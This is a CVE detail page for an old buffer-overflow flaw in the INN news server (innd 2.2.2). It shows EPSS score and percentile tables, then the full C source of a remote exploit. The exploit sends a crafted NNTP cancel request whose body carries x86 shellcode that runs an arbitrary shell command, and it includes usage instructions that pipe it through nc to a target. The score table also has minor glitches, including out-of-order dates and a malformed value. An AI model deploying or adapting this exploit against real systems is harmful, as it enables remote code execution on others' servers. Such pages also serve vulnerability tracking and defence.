CVE-2000-0472 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.23%	–	–
2022-02-13	–	–	3.23%	–	–
2022-04-03	–	–	3.23%	–	–
2022-09-18	–	–	3.23%	–	–
2023-03-12	–	–	–	1.24%	–
2023-05-28	–	–	–	1.24%	–
2024-02-11	–	–	–	1.24%	–
2024-06-02	–	–	–	1.24%	–
2024-12-22	–	–	–	1.24%	–
2025-02-16	–	–	–	1.24%	–
2025-01-19	–	–	–	1.24%	–
2025-02-16	–	–	–	1.24%	–
2025-03-18	–	–	–	–	4.93%
2025-03-18	–	–	–	–	4.93,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	83%
2023-05-28	84%
2024-02-11	85%
2024-06-02	86%
2024-12-22	85%
2025-02-16	86%
2025-01-19	85%
2025-02-16	86%
2025-03-18	89%
2025-03-18	89%

// source: https://www.securityfocus.com/bid/1316/info innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true" /* * inndx: innd remote 'news' user/group exploit * * Written on 12th June 2000 by Wojciech Purczynski * <wp@elzabsoft.pl> cliph/ircnet * * Bug found by Michal Zalewski. * * Tested on innd-2.2.2-3 default installation on RedHat 6.2. * * Usage: * ./inndx [command [offset]]|nc -i 1 target.host 119 */ #include <stdio.h> #include <unistd.h> #define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */ #define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */ #define JUNKSIZE strlen("\"\" wants to cancel <> by \"") #define NOP 0x90 #define FAKEPTR 0xbffff1c0 #define COMMAND "echo U have b33n h@x0r3d hahahah|mail root" #define BODYSIZE 999 /* Code written by me */ char * run_command= "\xeb\x3d\x5e\x89\xf7\x31\xc0\x47" "\x80\x3f\xff\x75\xfa\x88\x07\x47" "\x89\x37\x89\xf3\x46\x80\x3e\x2e" "\x75\xfa\x88\x06\x46\x89\x77\x04" "\x46\x80\x3e\x2e\x75\xfa\x88\x06" "\x46\x89\x77\x08\x89\x47\x0c\x89" "\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80" "\x89\xc3\x31\xc0\x40\xcd\x80\xe8" "\xbe\xff\xff\xff/bin/sh.-c."; int main(int argc, char *argv[]) { int retaddr=RETADDR; char messageid[256]; char sender[16]; char body[BODYSIZE]; char * command=COMMAND; int midsize; int i; if (argc>1) command=argv[1]; if (argc>2) retaddr+=atoi(argv[2]); memset(sender, 0, sizeof(sender)); strcpy(sender+0, "a@a."); /* EBP */ *(long*)(sender+4)=(long)retaddr; /* EIP */ *(long*)(sender+8)=(long)RETADDR+1000; /* Data */ memset(messageid, 'a', sizeof(messageid)); sprintf(messageid, "%s@a", tmpnam(NULL)+9); messageid[strlen(messageid)]='a'; messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0; memset(body, NOP, sizeof(body)); strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command); strcat(body, command); strcat(body, "\xff"); fprintf(stderr, "RETADDR=%p\n", retaddr); fprintf(stderr, "COMMAND=%s\n", command); printf("mode reader\r\ngroup test\r\npost\r\n"); printf("Message-ID: <%s>\r\n", messageid); printf("From: %s\r\nSender: %s\r\n", sender, sender); printf("Newsgroups: test\r\n"); printf("Subject: blah\r\n"); printf("\r\nblah\r\n.\r\n"); printf("group control\r\npost\r\n"); printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9); printf("From: a@b.c\r\nSender: a@b.c\r\n"); printf("Control: cancel <%s>\r\n", messageid); printf("Subject: cmsg cancel <%s>\r\n", messageid); printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body); }